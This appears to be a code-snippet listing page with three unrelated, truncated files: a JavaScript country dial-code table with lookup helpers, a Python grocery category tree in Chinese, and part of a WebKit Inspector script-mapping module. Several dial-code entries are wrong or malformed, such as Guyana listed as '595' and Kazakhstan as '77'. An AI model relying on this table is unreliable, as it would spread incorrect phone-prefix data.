linkOfWA.setAttribute("href", `${whatsApp}${phone.value}?text=${msg.value}`);...

Full Screen

Full Screen

utils.js

Source:utils.js Github

copy

Full Screen

1// @flow2export const countries = [3 { name: 'Afghanistan',4 dialCode: '93',5 code: 'af' },6 { name: 'Aland Islands',7 dialCode: '358',8 code: 'ax' },9 { name: 'Albania',10 dialCode: '355',11 code: 'al' },12 { name: 'Algeria',13 dialCode: '213',14 code: 'dz' },15 { name: 'AmericanSamoa',16 dialCode: '1684',17 code: 'as' },18 { name: 'Andorra',19 dialCode: '376',20 code: 'ad' },21 { name: 'Angola',22 dialCode: '244',23 code: 'ao' },24 { name: 'Anguilla',25 dialCode: '1264',26 code: 'ai' },27 { name: 'Antarctica',28 dialCode: '672',29 code: 'aq' },30 { name: 'Antigua and Barbuda',31 dialCode: '1268',32 code: 'ag' },33 { name: 'Argentina',34 dialCode: '54',35 code: 'ar' },36 { name: 'Armenia',37 dialCode: '374',38 code: 'am' },39 { name: 'Aruba',40 dialCode: '297',41 code: 'aw' },42 { name: 'Australia',43 dialCode: '61',44 code: 'au' },45 { name: 'Austria',46 dialCode: '43',47 code: 'at' },48 { name: 'Azerbaijan',49 dialCode: '994',50 code: 'az' },51 { name: 'Bahamas',52 dialCode: '1242',53 code: 'bs' },54 { name: 'Bahrain',55 dialCode: '973',56 code: 'bh' },57 { name: 'Bangladesh',58 dialCode: '880',59 code: 'bd' },60 { name: 'Barbados',61 dialCode: '1246',62 code: 'bb' },63 { name: 'Belarus',64 dialCode: '375',65 code: 'by' },66 { name: 'Belgium',67 dialCode: '32',68 code: 'be' },69 { name: 'Belize',70 dialCode: '501',71 code: 'bz' },72 { name: 'Benin',73 dialCode: '229',74 code: 'bj' },75 { name: 'Bermuda',76 dialCode: '1441',77 code: 'bm' },78 { name: 'Bhutan',79 dialCode: '975',80 code: 'bt' },81 { name: 'Bolivia, Plurinational State of',82 dialCode: '591',83 code: 'bo' },84 { name: 'Bosnia and Herzegovina',85 dialCode: '387',86 code: 'ba' },87 { name: 'Botswana',88 dialCode: '267',89 code: 'bw' },90 { name: 'Brazil',91 dialCode: '55',92 code: 'br' },93 { name: 'British Indian Ocean Territory',94 dialCode: '246',95 code: 'io' },96 { name: 'Brunei Darussalam',97 dialCode: '673',98 code: 'bn' },99 { name: 'Bulgaria',100 dialCode: '359',101 code: 'bg' },102 { name: 'Burkina Faso',103 dialCode: '226',104 code: 'bf' },105 { name: 'Burundi',106 dialCode: '257',107 code: 'bi' },108 { name: 'Cambodia',109 dialCode: '855',110 code: 'kh' },111 { name: 'Cameroon',112 dialCode: '237',113 code: 'cm' },114 { name: 'Canada',115 dialCode: '1',116 code: 'ca' },117 { name: 'Cape Verde',118 dialCode: '238',119 code: 'cv' },120 { name: 'Cayman Islands',121 dialCode: ' 345',122 code: 'ky' },123 { name: 'Central African Republic',124 dialCode: '236',125 code: 'cf' },126 { name: 'Chad',127 dialCode: '235',128 code: 'td' },129 { name: 'Chile',130 dialCode: '56',131 code: 'cl' },132 { name: 'China',133 dialCode: '86',134 code: 'cn' },135 { name: 'Christmas Island',136 dialCode: '61',137 code: 'cx' },138 { name: 'Cocos (Keeling) Islands',139 dialCode: '61',140 code: 'cc' },141 { name: 'Colombia',142 dialCode: '57',143 code: 'co' },144 { name: 'Comoros',145 dialCode: '269',146 code: 'km' },147 { name: 'Congo',148 dialCode: '242',149 code: 'cg' },150 {151 name: 'Congo, The Democratic Republic of the Congo',152 dialCode: '243',153 code: 'cd'154 },155 { name: 'Cook Islands',156 dialCode: '682',157 code: 'ck' },158 { name: 'Costa Rica',159 dialCode: '506',160 code: 'cr' },161 { name: 'Cote d\'Ivoire',162 dialCode: '225',163 code: 'ci' },164 { name: 'Croatia',165 dialCode: '385',166 code: 'hr' },167 { name: 'Cuba',168 dialCode: '53',169 code: 'cu' },170 { name: 'Cyprus',171 dialCode: '357',172 code: 'cy' },173 { name: 'Czech Republic',174 dialCode: '420',175 code: 'cz' },176 { name: 'Denmark',177 dialCode: '45',178 code: 'dk' },179 { name: 'Djibouti',180 dialCode: '253',181 code: 'dj' },182 { name: 'Dominica',183 dialCode: '1767',184 code: 'dm' },185 { name: 'Dominican Republic',186 dialCode: '1849',187 code: 'do' },188 { name: 'Ecuador',189 dialCode: '593',190 code: 'ec' },191 { name: 'Egypt',192 dialCode: '20',193 code: 'eg' },194 { name: 'El Salvador',195 dialCode: '503',196 code: 'sv' },197 { name: 'Equatorial Guinea',198 dialCode: '240',199 code: 'gq' },200 { name: 'Eritrea',201 dialCode: '291',202 code: 'er' },203 { name: 'Estonia',204 dialCode: '372',205 code: 'ee' },206 { name: 'Ethiopia',207 dialCode: '251',208 code: 'et' },209 { name: 'Falkland Islands (Malvinas)',210 dialCode: '500',211 code: 'fk' },212 { name: 'Faroe Islands',213 dialCode: '298',214 code: 'fo' },215 { name: 'Fiji',216 dialCode: '679',217 code: 'fj' },218 { name: 'Finland',219 dialCode: '358',220 code: 'fi' },221 { name: 'France',222 dialCode: '33',223 code: 'fr' },224 { name: 'French Guiana',225 dialCode: '594',226 code: 'gf' },227 { name: 'French Polynesia',228 dialCode: '689',229 code: 'pf' },230 { name: 'Gabon',231 dialCode: '241',232 code: 'ga' },233 { name: 'Gambia',234 dialCode: '220',235 code: 'gm' },236 { name: 'Georgia',237 dialCode: '995',238 code: 'ge' },239 { name: 'Germany',240 dialCode: '49',241 code: 'de' },242 { name: 'Ghana',243 dialCode: '233',244 code: 'gh' },245 { name: 'Gibraltar',246 dialCode: '350',247 code: 'gi' },248 { name: 'Greece',249 dialCode: '30',250 code: 'gr' },251 { name: 'Greenland',252 dialCode: '299',253 code: 'gl' },254 { name: 'Grenada',255 dialCode: '1473',256 code: 'gd' },257 { name: 'Guadeloupe',258 dialCode: '590',259 code: 'gp' },260 { name: 'Guam',261 dialCode: '1671',262 code: 'gu' },263 { name: 'Guatemala',264 dialCode: '502',265 code: 'gt' },266 { name: 'Guernsey',267 dialCode: '44',268 code: 'gg' },269 { name: 'Guinea',270 dialCode: '224',271 code: 'gn' },272 { name: 'Guinea-Bissau',273 dialCode: '245',274 code: 'gw' },275 { name: 'Guyana',276 dialCode: '595',277 code: 'gy' },278 { name: 'Haiti',279 dialCode: '509',280 code: 'ht' },281 { name: 'Holy See (Vatican City State)',282 dialCode: '379',283 code: 'va' },284 { name: 'Honduras',285 dialCode: '504',286 code: 'hn' },287 { name: 'Hong Kong',288 dialCode: '852',289 code: 'hk' },290 { name: 'Hungary',291 dialCode: '36',292 code: 'hu' },293 { name: 'Iceland',294 dialCode: '354',295 code: 'is' },296 { name: 'India',297 dialCode: '91',298 code: 'in' },299 { name: 'Indonesia',300 dialCode: '62',301 code: 'id' },302 {303 name: 'Iran, Islamic Republic of Persian Gulf',304 dialCode: '98',305 code: 'ir'306 },307 { name: 'Iraq',308 dialCode: '964',309 code: 'iq' },310 { name: 'Ireland',311 dialCode: '353',312 code: 'ie' },313 { name: 'Isle of Man',314 dialCode: '44',315 code: 'im' },316 { name: 'Israel',317 dialCode: '972',318 code: 'il' },319 { name: 'Italy',320 dialCode: '39',321 code: 'it' },322 { name: 'Jamaica',323 dialCode: '1876',324 code: 'jm' },325 { name: 'Japan',326 dialCode: '81',327 code: 'jp' },328 { name: 'Jersey',329 dialCode: '44',330 code: 'je' },331 { name: 'Jordan',332 dialCode: '962',333 code: 'jo' },334 { name: 'Kazakhstan',335 dialCode: '77',336 code: 'kz' },337 { name: 'Kenya',338 dialCode: '254',339 code: 'ke' },340 { name: 'Kiribati',341 dialCode: '686',342 code: 'ki' },343 {344 name: 'Korea, Democratic People\'s Republic of Korea',345 dialCode: '850',346 code: 'kp'347 },348 { name: 'Korea, Republic of South Korea',349 dialCode: '82',350 code: 'kr' },351 { name: 'Kuwait',352 dialCode: '965',353 code: 'kw' },354 { name: 'Kyrgyzstan',355 dialCode: '996',356 code: 'kg' },357 { name: 'Laos',358 dialCode: '856',359 code: 'la' },360 { name: 'Latvia',361 dialCode: '371',362 code: 'lv' },363 { name: 'Lebanon',364 dialCode: '961',365 code: 'lb' },366 { name: 'Lesotho',367 dialCode: '266',368 code: 'ls' },369 { name: 'Liberia',370 dialCode: '231',371 code: 'lr' },372 { name: 'Libyan Arab Jamahiriya',373 dialCode: '218',374 code: 'ly' },375 { name: 'Liechtenstein',376 dialCode: '423',377 code: 'li' },378 { name: 'Lithuania',379 dialCode: '370',380 code: 'lt' },381 { name: 'Luxembourg',382 dialCode: '352',383 code: 'lu' },384 { name: 'Macao',385 dialCode: '853',386 code: 'mo' },387 { name: 'Macedonia',388 dialCode: '389',389 code: 'mk' },390 { name: 'Madagascar',391 dialCode: '261',392 code: 'mg' },393 { name: 'Malawi',394 dialCode: '265',395 code: 'mw' },396 { name: 'Malaysia',397 dialCode: '60',398 code: 'my' },399 { name: 'Maldives',400 dialCode: '960',401 code: 'mv' },402 { name: 'Mali',403 dialCode: '223',404 code: 'ml' },405 { name: 'Malta',406 dialCode: '356',407 code: 'mt' },408 { name: 'Marshall Islands',409 dialCode: '692',410 code: 'mh' },411 { name: 'Martinique',412 dialCode: '596',413 code: 'mq' },414 { name: 'Mauritania',415 dialCode: '222',416 code: 'mr' },417 { name: 'Mauritius',418 dialCode: '230',419 code: 'mu' },420 { name: 'Mayotte',421 dialCode: '262',422 code: 'yt' },423 { name: 'Mexico',424 dialCode: '52',425 code: 'mx' },426 {427 name: 'Micronesia, Federated States of Micronesia',428 dialCode: '691',429 code: 'fm'430 },431 { name: 'Moldova',432 dialCode: '373',433 code: 'md' },434 { name: 'Monaco',435 dialCode: '377',436 code: 'mc' },437 { name: 'Mongolia',438 dialCode: '976',439 code: 'mn' },440 { name: 'Montenegro',441 dialCode: '382',442 code: 'me' },443 { name: 'Montserrat',444 dialCode: '1664',445 code: 'ms' },446 { name: 'Morocco',447 dialCode: '212',448 code: 'ma' },449 { name: 'Mozambique',450 dialCode: '258',451 code: 'mz' },452 { name: 'Myanmar',453 dialCode: '95',454 code: 'mm' },455 { name: 'Namibia',456 dialCode: '264',457 code: 'na' },458 { name: 'Nauru',459 dialCode: '674',460 code: 'nr' },461 { name: 'Nepal',462 dialCode: '977',463 code: 'np' },464 { name: 'Netherlands',465 dialCode: '31',466 code: 'nl' },467 { name: 'Netherlands Antilles',468 dialCode: '599',469 code: 'an' },470 { name: 'New Caledonia',471 dialCode: '687',472 code: 'nc' },473 { name: 'New Zealand',474 dialCode: '64',475 code: 'nz' },476 { name: 'Nicaragua',477 dialCode: '505',478 code: 'ni' },479 { name: 'Niger',480 dialCode: '227',481 code: 'ne' },482 { name: 'Nigeria',483 dialCode: '234',484 code: 'ng' },485 { name: 'Niue',486 dialCode: '683',487 code: 'nu' },488 { name: 'Norfolk Island',489 dialCode: '672',490 code: 'nf' },491 { name: 'Northern Mariana Islands',492 dialCode: '1670',493 code: 'mp' },494 { name: 'Norway',495 dialCode: '47',496 code: 'no' },497 { name: 'Oman',498 dialCode: '968',499 code: 'om' },500 { name: 'Pakistan',501 dialCode: '92',502 code: 'pk' },503 { name: 'Palau',504 dialCode: '680',505 code: 'pw' },506 { name: 'Palestinian Territory, Occupied',507 dialCode: '970',508 code: 'ps' },509 { name: 'Panama',510 dialCode: '507',511 code: 'pa' },512 { name: 'Papua New Guinea',513 dialCode: '675',514 code: 'pg' },515 { name: 'Paraguay',516 dialCode: '595',517 code: 'py' },518 { name: 'Peru',519 dialCode: '51',520 code: 'pe' },521 { name: 'Philippines',522 dialCode: '63',523 code: 'ph' },524 { name: 'Pitcairn',525 dialCode: '872',526 code: 'pn' },527 { name: 'Poland',528 dialCode: '48',529 code: 'pl' },530 { name: 'Portugal',531 dialCode: '351',532 code: 'pt' },533 { name: 'Puerto Rico',534 dialCode: '1939',535 code: 'pr' },536 { name: 'Qatar',537 dialCode: '974',538 code: 'qa' },539 { name: 'Romania',540 dialCode: '40',541 code: 'ro' },542 { name: 'Russia',543 dialCode: '7',544 code: 'ru' },545 { name: 'Rwanda',546 dialCode: '250',547 code: 'rw' },548 { name: 'Reunion',549 dialCode: '262',550 code: 're' },551 { name: 'Saint Barthelemy',552 dialCode: '590',553 code: 'bl' },554 {555 name: 'Saint Helena, Ascension and Tristan Da Cunha',556 dialCode: '290',557 code: 'sh'558 },559 { name: 'Saint Kitts and Nevis',560 dialCode: '1869',561 code: 'kn' },562 { name: 'Saint Lucia',563 dialCode: '1758',564 code: 'lc' },565 { name: 'Saint Martin',566 dialCode: '590',567 code: 'mf' },568 { name: 'Saint Pierre and Miquelon',569 dialCode: '508',570 code: 'pm' },571 { name: 'Saint Vincent and the Grenadines',572 dialCode: '1784',573 code: 'vc' },574 { name: 'Samoa',575 dialCode: '685',576 code: 'ws' },577 { name: 'San Marino',578 dialCode: '378',579 code: 'sm' },580 { name: 'Sao Tome and Principe',581 dialCode: '239',582 code: 'st' },583 { name: 'Saudi Arabia',584 dialCode: '966',585 code: 'sa' },586 { name: 'Senegal',587 dialCode: '221',588 code: 'sn' },589 { name: 'Serbia',590 dialCode: '381',591 code: 'rs' },592 { name: 'Seychelles',593 dialCode: '248',594 code: 'sc' },595 { name: 'Sierra Leone',596 dialCode: '232',597 code: 'sl' },598 { name: 'Singapore',599 dialCode: '65',600 code: 'sg' },601 { name: 'Slovakia',602 dialCode: '421',603 code: 'sk' },604 { name: 'Slovenia',605 dialCode: '386',606 code: 'si' },607 { name: 'Solomon Islands',608 dialCode: '677',609 code: 'sb' },610 { name: 'Somalia',611 dialCode: '252',612 code: 'so' },613 { name: 'South Africa',614 dialCode: '27',615 code: 'za' },616 { name: 'South Sudan',617 dialCode: '211',618 code: 'ss' },619 {620 name: 'South Georgia and the South Sandwich Islands',621 dialCode: '500',622 code: 'gs'623 },624 { name: 'Spain',625 dialCode: '34',626 code: 'es' },627 { name: 'Sri Lanka',628 dialCode: '94',629 code: 'lk' },630 { name: 'Sudan',631 dialCode: '249',632 code: 'sd' },633 { name: 'Suriname',634 dialCode: '597',635 code: 'sr' },636 { name: 'Svalbard and Jan Mayen',637 dialCode: '47',638 code: 'sj' },639 { name: 'Swaziland',640 dialCode: '268',641 code: 'sz' },642 { name: 'Sweden',643 dialCode: '46',644 code: 'se' },645 { name: 'Switzerland',646 dialCode: '41',647 code: 'ch' },648 { name: 'Syrian Arab Republic',649 dialCode: '963',650 code: 'sy' },651 { name: 'Taiwan',652 dialCode: '886',653 code: 'tw' },654 { name: 'Tajikistan',655 dialCode: '992',656 code: 'tj' },657 {658 name: 'Tanzania, United Republic of Tanzania',659 dialCode: '255',660 code: 'tz'661 },662 { name: 'Thailand',663 dialCode: '66',664 code: 'th' },665 { name: 'Timor-Leste',666 dialCode: '670',667 code: 'tl' },668 { name: 'Togo',669 dialCode: '228',670 code: 'tg' },671 { name: 'Tokelau',672 dialCode: '690',673 code: 'tk' },674 { name: 'Tonga',675 dialCode: '676',676 code: 'to' },677 { name: 'Trinidad and Tobago',678 dialCode: '1868',679 code: 'tt' },680 { name: 'Tunisia',681 dialCode: '216',682 code: 'tn' },683 { name: 'Turkey',684 dialCode: '90',685 code: 'tr' },686 { name: 'Turkmenistan',687 dialCode: '993',688 code: 'tm' },689 { name: 'Turks and Caicos Islands',690 dialCode: '1649',691 code: 'tc' },692 { name: 'Tuvalu',693 dialCode: '688',694 code: 'tv' },695 { name: 'Uganda',696 dialCode: '256',697 code: 'ug' },698 { name: 'Ukraine',699 dialCode: '380',700 code: 'ua' },701 { name: 'United Arab Emirates',702 dialCode: '971',703 code: 'ae' },704 { name: 'United Kingdom',705 dialCode: '44',706 code: 'gb' },707 { name: 'United States',708 dialCode: '1',709 code: 'us' },710 { name: 'Uruguay',711 dialCode: '598',712 code: 'uy' },713 { name: 'Uzbekistan',714 dialCode: '998',715 code: 'uz' },716 { name: 'Vanuatu',717 dialCode: '678',718 code: 'vu' },719 {720 name: 'Venezuela, Bolivarian Republic of Venezuela',721 dialCode: '58',722 code: 've'723 },724 { name: 'Vietnam',725 dialCode: '84',726 code: 'vn' },727 { name: 'Virgin Islands, British',728 dialCode: '1284',729 code: 'vg' },730 { name: 'Virgin Islands, U.S.',731 dialCode: '1340',732 code: 'vi' },733 { name: 'Wallis and Futuna',734 dialCode: '681',735 code: 'wf' },736 { name: 'Yemen',737 dialCode: '967',738 code: 'ye' },739 { name: 'Zambia',740 dialCode: '260',741 code: 'zm' },742 { name: 'Zimbabwe',743 dialCode: '263',744 code: 'zw' }745];746const countriesByCodeMap = countries.reduce((result, country) => {747 result[country.dialCode] = country;748 return result;749}, {});750/**751 * Map between country dial codes and country objects.752 *753 */754const codesByNumbersMap = countries.reduce((result, country) => {755 result[country.dialCode] = country.code;756 return result;757}, {});758/**759 * Returns the corresponding country code from a phone number.760 *761 * @param {string} phoneNumber - The phone number.762 * @returns {string}763 */764export function getCountryCodeFromPhone(phoneNumber: string): string {765 const number = phoneNumber.replace(/[+.\s]/g, '');766 for (let i = 4; i > 0; i--) {767 const prefix = number.slice(0, i);768 if (codesByNumbersMap[prefix]) {769 return codesByNumbersMap[prefix];770 }771 }772 return '';773}774/**775 * Returns the corresponding country for a text starting with the dial code.776 *777 * @param {string} text - The text containing the dial code.778 * @returns {Object}779 */780export function getCountryFromDialCodeText(text: string): Object {781 return (782 countriesByCodeMap[text.slice(0, 4)]783 || countriesByCodeMap[text.slice(0, 3)]784 || countriesByCodeMap[text.slice(0, 2)]785 || countriesByCodeMap[text.slice(0, 1)]786 || null787 );...

Full Screen

Full Screen

category_data.py

Source:category_data.py Github

copy

Full Screen

1#!/usr/bin/env python2# encoding: utf-83row_data = [4 {5 'sub_categorys': [6 {7 'sub_categorys': [8 {9 'code': 'yr',10 'name': '羊肉'11 },12 {13 'code': 'ql',14 'name': '禽类'15 },16 {17 'code': 'zr',18 'name': '猪肉'19 },20 {21 'code': 'nr',22 'name': '牛肉'23 }24 ],25 'code': 'jprl',26 'name': '精品肉类'27 },28 {29 'sub_categorys': [30 {31 'code': 'cb',32 'name': '参鲍'33 },34 {35 'code': 'yu',36 'name': '鱼'37 },38 {39 'code': 'xia',40 'name': '虾'41 },42 {43 'code': 'xb',44 'name': '蟹/贝'45 }46 ],47 'code': 'hxsc',48 'name': '海鲜水产'49 },50 {51 'sub_categorys': [52 {53 'code': 'xhd_xyd',54 'name': '松花蛋/咸鸭蛋'55 },56 {57 'code': 'jd',58 'name': '鸡蛋'59 }60 ],61 'code': 'dzp',62 'name': '蛋制品'63 },64 {65 'sub_categorys': [66 {67 'code': 'sc',68 'name': '生菜'69 },70 {71 'code': 'bc',72 'name': '菠菜'73 },74 {75 'code': 'yj',76 'name': '圆椒'77 },78 {79 'code': 'xlh',80 'name': '西兰花'81 }82 ],83 'code': 'ycl',84 'name': '叶菜类'85 },86 {87 'sub_categorys': [88 ],89 'code': 'gjl',90 'name': '根茎类'91 },92 {93 'sub_categorys': [94 ],95 'code': 'qgl',96 'name': '茄果类'97 },98 {99 'sub_categorys': [100 ],101 'code': 'jgl',102 'name': '菌菇类'103 },104 {105 'sub_categorys': [106 ],107 'code': 'jksx',108 'name': '进口生鲜'109 }110 ],111 'code': 'sxsp',112 'name': '生鲜食品'113 },114 {115 'sub_categorys': [116 {117 'sub_categorys': [118 {119 'code': 'wly',120 'name': '五粮液'121 },122 {123 'code': 'lzlj',124 'name': '泸州老窖'125 },126 {127 'code': 'mt',128 'name': '茅台'129 }130 ],131 'code': 'bk',132 'name': '白酒'133 },134 {135 'sub_categorys': [136 ],137 'code': 'ptj',138 'name': '葡萄酒'139 },140 {141 'sub_categorys': [142 ],143 'code': 'yj',144 'name': '洋酒'145 },146 {147 'sub_categorys': [148 ],149 'code': 'pj',150 'name': '啤酒'151 },152 {153 'sub_categorys': [154 {155 'code': 'qtpp',156 'name': '其他品牌'157 },158 {159 'code': 'hj',160 'name': '黄酒'161 },162 {163 'code': 'ysj',164 'name': '养生酒'165 }166 ],167 'code': 'qtjp',168 'name': '其他酒品'169 },170 {171 'sub_categorys': [172 ],173 'code': 'yls',174 'name': '饮料/水'175 },176 {177 'sub_categorys': [178 {179 'code': 'bld',180 'name': '白兰地'181 },182 {183 'code': 'wsj',184 'name': '威士忌'185 }186 ],187 'code': 'hj',188 'name': '红酒'189 }190 ],191 'code': 'jsyl',192 'name': '酒水饮料'193 },194 {195 'sub_categorys': [196 {197 'sub_categorys': [198 {199 'code': '其他食用油',200 'name': '其他食用油'201 },202 {203 'code': '菜仔油',204 'name': '菜仔油'205 },206 {207 'code': '花生油',208 'name': '花生油'209 },210 {211 'code': '橄榄油',212 'name': '橄榄油'213 },214 {215 'code': '礼盒',216 'name': '礼盒'217 }218 ],219 'code': '食用油',220 'name': '食用油'221 },222 {223 'sub_categorys': [224 {225 'code': '面粉/面条',226 'name': '面粉/面条'227 },228 {229 'code': '大米',230 'name': '大米'231 },232 {233 'code': '意大利面',234 'name': '意大利面'235 }236 ],237 'code': '米面杂粮',238 'name': '米面杂粮'239 },240 {241 'sub_categorys': [242 {243 'code': '调味油/汁',244 'name': '调味油/汁'245 },246 {247 'code': '酱油/醋',248 'name': '酱油/醋'249 }250 ],251 'code': '厨房调料',252 'name': '厨房调料'253 },254 {255 'sub_categorys': [256 ],257 'code': '南北干货',258 'name': '南北干货'259 },260 {261 'sub_categorys': [262 ],263 'code': '方便速食',264 'name': '方便速食'265 },266 {267 'sub_categorys': [268 ],269 'code': '调味品',270 'name': '调味品'271 }272 ],273 'code': '粮油副食',274 'name': '粮油副食'275 },276 {277 'sub_categorys': [278 {279 'sub_categorys': [280 {281 'code': '西红柿',282 'name': '西红柿'283 },284 {285 'code': '韭菜',286 'name': '韭菜'287 },288 {289 'code': '青菜',290 'name': '青菜'291 }292 ],293 'code': '有机蔬菜',294 'name': '有机蔬菜'295 },296 {297 'sub_categorys': [298 {299 'code': '甘蓝',300 'name': '甘蓝'301 },302 {303 'code': '胡萝卜',304 'name': '胡萝卜'305 },306 {307 'code': '黄瓜',308 'name': '黄瓜'309 }310 ],311 'code': '精选蔬菜',312 'name': '精选蔬菜'313 },314 {315 'sub_categorys': [316 {317 'code': '火龙果',318 'name': '火龙果'319 },320 {321 'code': '菠萝蜜',322 'name': '菠萝蜜'323 },324 {325 'code': '奇异果',326 'name': '奇异果'327 }328 ],329 'code': '进口水果',330 'name': '进口水果'331 },332 {333 'sub_categorys': [334 {335 'code': '水果礼盒',336 'name': '水果礼盒'337 },338 {339 'code': '苹果',340 'name': '苹果'341 },342 {343 'code': '雪梨',344 'name': '雪梨'345 }346 ],347 'code': '国产水果',348 'name': '国产水果'349 }350 ],351 'code': '蔬菜水果',352 'name': '蔬菜水果'353 },354 {355 'sub_categorys': [356 {357 'sub_categorys': [358 {359 'code': '果冻',360 'name': '果冻'361 },362 {363 'code': '枣类',364 'name': '枣类'365 },366 {367 'code': '蜜饯',368 'name': '蜜饯'369 },370 {371 'code': '肉类零食',372 'name': '肉类零食'373 },374 {375 'code': '坚果炒货',376 'name': '坚果炒货'377 }378 ],379 'code': '休闲零食',380 'name': '休闲零食'381 },382 {383 'sub_categorys': [384 {385 'code': '创意喜糖',386 'name': '创意喜糖'387 },388 {389 'code': '口香糖',390 'name': '口香糖'391 },392 {393 'code': '软糖',394 'name': '软糖'395 },396 {397 'code': '棒棒糖',398 'name': '棒棒糖'399 }400 ],401 'code': '糖果',402 'name': '糖果'403 },404 {405 'sub_categorys': [406 {407 'code': '夹心巧克力',408 'name': '夹心巧克力'409 },410 {411 'code': '白巧克力',412 'name': '白巧克力'413 },414 {415 'code': '松露巧克力',416 'name': '松露巧克力'417 },418 {419 'code': '黑巧克力',420 'name': '黑巧克力'421 }422 ],423 'code': '巧克力',424 'name': '巧克力'425 },426 {427 'sub_categorys': [428 {429 'code': '牛肉干',430 'name': '牛肉干'431 },432 {433 'code': '猪肉脯',434 'name': '猪肉脯'435 },436 {437 'code': '牛肉粒',438 'name': '牛肉粒'439 },440 {441 'code': '猪肉干',442 'name': '猪肉干'443 }444 ],445 'code': '肉干肉脯/豆干',446 'name': '肉干肉脯/豆干'447 },448 {449 'sub_categorys': [450 {451 'code': '鱿鱼足',452 'name': '鱿鱼足'453 },454 {455 'code': '鱿鱼丝',456 'name': '鱿鱼丝'457 },458 {459 'code': '墨鱼/乌贼',460 'name': '墨鱼/乌贼'461 },462 {463 'code': '鱿鱼仔',464 'name': '鱿鱼仔'465 },466 {467 'code': '鱿鱼片',468 'name': '鱿鱼片'469 }470 ],471 'code': '鱿鱼丝/鱼干',472 'name': '鱿鱼丝/鱼干'473 }474 ],475 'code': '休闲食品',476 'name': '休闲食品'477 },478 {479 'sub_categorys': [480 {481 'sub_categorys': [482 ],483 'code': '进口奶品',484 'name': '进口奶品'485 },486 {487 'sub_categorys': [488 ],489 'code': '国产奶品',490 'name': '国产奶品'491 },492 {493 'sub_categorys': [494 ],495 'code': '奶粉',496 'name': '奶粉'497 },498 {499 'sub_categorys': [500 ],501 'code': '有机奶',502 'name': '有机奶'503 },504 {505 'sub_categorys': [506 ],507 'code': '原料奶',508 'name': '原料奶'509 }510 ],511 'code': '奶类食品',512 'name': '奶类食品'513 },514 {515 'sub_categorys': [516 {517 'sub_categorys': [518 ],519 'code': '菌菇类',520 'name': '菌菇类'521 },522 {523 'sub_categorys': [524 ],525 'code': '腌干海产',526 'name': '腌干海产'527 },528 {529 'sub_categorys': [530 ],531 'code': '汤料',532 'name': '汤料'533 },534 {535 'sub_categorys': [536 ],537 'code': '豆类',538 'name': '豆类'539 },540 {541 'sub_categorys': [542 ],543 'code': '干菜/菜干',544 'name': '干菜/菜干'545 },546 {547 'sub_categorys': [548 ],549 'code': '干果/果干',550 'name': '干果/果干'551 },552 {553 'sub_categorys': [554 ],555 'code': '豆制品',556 'name': '豆制品'557 },558 {559 'sub_categorys': [560 ],561 'code': '腊味',562 'name': '腊味'563 }564 ],565 'code': '天然干货',566 'name': '天然干货'567 },568 {569 'sub_categorys': [570 {571 'sub_categorys': [572 ],573 'code': '白茶',574 'name': '白茶'575 },576 {577 'sub_categorys': [578 ],579 'code': '红茶',580 'name': '红茶'581 },582 {583 'sub_categorys': [584 ],585 'code': '绿茶',586 'name': '绿茶'587 }588 ],589 'code': '精选茗茶',590 'name': '精选茗茶'591 }...

Full Screen

Full Screen

ResourceScriptMapping.js

Source:ResourceScriptMapping.js Github

copy

Full Screen

...68 uiSourceCodes: function()69 {70 var result = [];71 for (var i = 0; i < this._rawSourceCodes.length; ++i) {72 var uiSourceCode = this._rawSourceCodes[i].uiSourceCode();73 if (uiSourceCode)74 result.push(uiSourceCode);75 }76 return result;77 },78 /**79 * @param {WebInspector.Script} script80 */81 addScript: function(script)82 {83 var resource = null;84 var request = null;85 if (!script.isAnonymousScript()) {86 // First lookup the resource that has already been loaded.87 resource = WebInspector.resourceForURL(script.sourceURL);88 // Ignore resource in case it has not yet finished loading.89 if (resource && resource.request && !resource.request.finished)90 resource = null;91 // Only bind inline and standalone scripts.92 if (resource && !this._shouldBindScriptToContentProvider(script, resource))93 resource = null;94 if (!resource) {95 // When there is no resource, lookup in-flight requests.96 request = WebInspector.networkManager.inflightRequestForURL(script.sourceURL);97 // Only bind inline and standalone scripts.98 if (request && !this._shouldBindScriptToContentProvider(script, request))99 request = null;100 }101 }102 console.assert(!resource || !request);103 var isInlineScript = script.isInlineScript() && (request || resource);104 // If either of these exists, we bind script to the resource.105 if (isInlineScript) {106 var rawSourceCode = this._rawSourceCodeForDocumentURL[script.sourceURL];107 if (rawSourceCode) {108 rawSourceCode.addScript(script);109 this._bindScriptToRawSourceCode(script, rawSourceCode);110 return;111 }112 }113 var rawSourceCode = new WebInspector.RawSourceCode(script.scriptId, script, resource, request, this);114 this._rawSourceCodes.push(rawSourceCode);115 this._bindScriptToRawSourceCode(script, rawSourceCode);116 if (isInlineScript)117 this._rawSourceCodeForDocumentURL[script.sourceURL] = rawSourceCode;118 if (rawSourceCode.uiSourceCode())119 this._uiSourceCodeAdded(rawSourceCode, rawSourceCode.uiSourceCode());120 rawSourceCode.addEventListener(WebInspector.RawSourceCode.Events.UISourceCodeChanged, this._handleUISourceCodeChanged, this);121 },122 /**123 * @param {WebInspector.Script} script124 * @param {WebInspector.ContentProvider} contentProvider125 * @return {boolean}126 */127 _shouldBindScriptToContentProvider: function(script, contentProvider)128 {129 if (script.isInlineScript())130 return contentProvider.contentType() === WebInspector.resourceTypes.Document;131 return contentProvider.contentType() === WebInspector.resourceTypes.Script;132 },133 /**134 * @param {WebInspector.Event} event135 */136 _handleUISourceCodeChanged: function(event)137 {138 var rawSourceCode = /** @type {WebInspector.RawSourceCode} */ event.target;139 var uiSourceCode = /** @type {WebInspector.UISourceCode} */ event.data.uiSourceCode;140 var oldUISourceCode = /** @type {WebInspector.UISourceCode} */ event.data.oldUISourceCode;141 if (!oldUISourceCode)142 this._uiSourceCodeAdded(rawSourceCode, uiSourceCode);143 else144 this._uiSourceCodeReplaced(rawSourceCode, oldUISourceCode, uiSourceCode);145 },146 /**147 * @param {WebInspector.RawSourceCode} rawSourceCode148 * @paran {WebInspector.UISourceCode} uiSourceCode149 */150 _uiSourceCodeAdded: function(rawSourceCode, uiSourceCode)151 {152 this._rawSourceCodeForUISourceCode.put(uiSourceCode, rawSourceCode);153 this.dispatchEventToListeners(WebInspector.UISourceCodeProvider.Events.UISourceCodeAdded, uiSourceCode);154 },155 /**156 * @param {WebInspector.RawSourceCode} rawSourceCode157 * @param {WebInspector.UISourceCode} oldUISourceCode158 * @param {WebInspector.UISourceCode} uiSourceCode159 */160 _uiSourceCodeReplaced: function(rawSourceCode, oldUISourceCode, uiSourceCode)161 {162 this._rawSourceCodeForUISourceCode.remove(oldUISourceCode);163 this._rawSourceCodeForUISourceCode.put(uiSourceCode, 